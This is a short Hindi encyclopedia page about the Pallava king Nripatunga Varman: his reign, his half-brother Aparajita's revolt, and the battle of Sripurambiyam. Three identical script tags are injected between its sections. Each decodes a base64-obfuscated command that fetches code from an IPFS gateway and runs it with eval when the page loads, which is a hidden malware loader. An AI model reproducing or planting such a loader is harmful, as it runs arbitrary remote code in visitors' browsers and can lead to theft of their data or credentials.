नृपत्तुंग वर्मन

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

नृपत्तुंग वर्मन (870-879 ई.) नन्दि वर्मन तृतीय का पुत्र था। नन्दि वर्मन तृतीय के बाद नृपत्तुंग वर्मन गद्दी का वास्तविक अधिकारी था।

  • उसका शासन काल शांति का काल था, उसके शासन काल के अंतिम दिनों में सौतेले भाई अपराजित ने विद्रोह कर दिया।
  • विद्रोह में पाण्ड्यों ने नृपत्तुंग का एवं चोलों तथा पश्चिमी गंग ने अपराजित का साथ दिया।
  • दोनों ओर की सेनाओं की बीच श्रीपुरम्बियम के मैदान में घमासान संघर्ष हुआ, इस संघर्ष में नृपतुंग वर्मन पराजित हुआ।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>